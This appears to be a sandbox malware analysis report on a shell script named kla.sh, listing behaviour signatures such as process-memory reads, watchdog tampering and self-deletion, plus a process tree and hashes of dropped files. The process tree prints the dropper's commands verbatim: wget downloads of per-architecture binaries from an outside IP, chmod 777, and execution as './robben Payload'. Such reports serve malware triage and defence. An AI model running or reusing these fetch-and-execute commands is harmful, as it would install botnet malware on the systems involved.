Overview

overview

9

Static

static

1

kla.sh

ubuntu-18.04-amd64

9

kla.sh

debian-9-armhf

7

kla.sh

debian-9-mips

kla.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/08/2026, 12:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    kla.sh
  • Size 2KB
  • Sample260805-ph7cba1zbx
  • SHA256 2d2be0eefdf649cff2a51ba6e11d20014e4203883791f1b8ae8cb56f2d245917
  • MD5 SHA1 SHA512 TLSH
Score
9/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kla.sh
    /tmp/kla.sh
    1⤵
    • Executes dropped EXE
    PID:1485
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:1486
    • /usr/bin/wget
      wget -q -O robben http://94.154.43.10/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:1488
    • /bin/chmod
      chmod 777 robben
      2⤵
      • File and Directory Permissions Modification
      PID:1496
    • /tmp/robben
      ./robben Payload
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Reads process memory
      • Changes its process name
      • Reads runtime system information
      PID:1497
    • /usr/bin/wget
      wget -q -O robben http://94.154.43.10/bins/pmips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:1502
    • /bin/chmod
      chmod 777 robben
      2⤵
      • File and Directory Permissions Modification
      PID:1503
    • /tmp/robben
      ./robben Payload
      2⤵
        PID:1504
      • /usr/bin/wget
        wget -q -O robben http://94.154.43.10/bins/pmpsl
        2⤵
        • Writes file to tmp directory
        PID:1506
      • /bin/chmod
        chmod 777 robben
        2⤵
        • File and Directory Permissions Modification
        PID:1508
      • /tmp/robben
        ./robben Payload
        2⤵
          PID:1509
        • /usr/bin/wget
          wget -q -O robben http://94.154.43.10/bins/parm
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /bin/chmod
          chmod 777 robben
          2⤵
          • File and Directory Permissions Modification
          PID:1512
        • /tmp/robben
          ./robben Payload
          2⤵
            PID:1513
          • /usr/bin/wget
            wget -q -O robben http://94.154.43.10/bins/parm5
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /bin/chmod
            chmod 777 robben
            2⤵
            • File and Directory Permissions Modification
            PID:1516
          • /tmp/robben
            ./robben Payload
            2⤵
              PID:1517
            • /usr/bin/wget
              wget -q -O robben http://94.154.43.10/bins/parm6
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /bin/chmod
              chmod 777 robben
              2⤵
              • File and Directory Permissions Modification
              PID:1520
            • /tmp/robben
              ./robben Payload
              2⤵
                PID:1521
              • /usr/bin/wget
                wget -q -O robben http://94.154.43.10/bins/parm7
                2⤵
                • Writes file to tmp directory
                PID:1523
              • /bin/chmod
                chmod 777 robben
                2⤵
                • File and Directory Permissions Modification
                PID:1527
              • /tmp/robben
                ./robben Payload
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget -q -O robben http://94.154.43.10/bins/pppc
                  2⤵
                  • Writes file to tmp directory
                  PID:1530
                • /bin/chmod
                  chmod 777 robben
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1531
                • /tmp/robben
                  ./robben Payload
                  2⤵
                    PID:1532
                  • /usr/bin/wget
                    wget -q -O robben http://94.154.43.10/bins/pm68k
                    2⤵
                    • Writes file to tmp directory
                    PID:1534
                  • /bin/chmod
                    chmod 777 robben
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1535
                  • /tmp/robben
                    ./robben Payload
                    2⤵
                      PID:1536
                    • /usr/bin/wget
                      wget -q -O robben http://94.154.43.10/bins/psh4
                      2⤵
                      • Writes file to tmp directory
                      PID:1538
                    • /bin/chmod
                      chmod 777 robben
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1539
                    • /tmp/robben
                      ./robben Payload
                      2⤵
                        PID:1540

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          busybox
                          • Path /tmp/busybox
                          • Size 2.0MB
                          • SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          robben
                          • Path /tmp/robben
                          • Size 130KB
                          • SHA256 03ea5a00f2cb9501fbf2833e49d597994e9ef3acef7cdf6b3e8d704a287d7f1b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          robben
                          • Path /tmp/robben
                          • Size 238KB
                          • SHA256 e1d4e04aab183f72923e45a1f9d06a04b78213455fa9a1bbc024d8186515c685
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          robben
                          • Path /tmp/robben
                          • Size 242KB
                          • SHA256 9a13d58b6aee76ede19290cf358fb6fcafcb26190b260289c97d74d1e18895b0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          robben
                          • Path /tmp/robben
                          • Size 178KB
                          • SHA256 108f4d7c341ed33055c498b1156954cc5dce0799eccc4cc7ad2f072303f054ec
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          robben
                          • Path /tmp/robben
                          • Size 78KB
                          • SHA256 afbdf2cf4dc4196369ce04816b793e07f93135ed633d4d252647a8695e154d42
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          robben
                          • Path /tmp/robben
                          • Size 252KB
                          • SHA256 a1a20e7cd2780e9ad3e106cdf50f3e67e1be2c107f30405e96a56d0654467afd
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download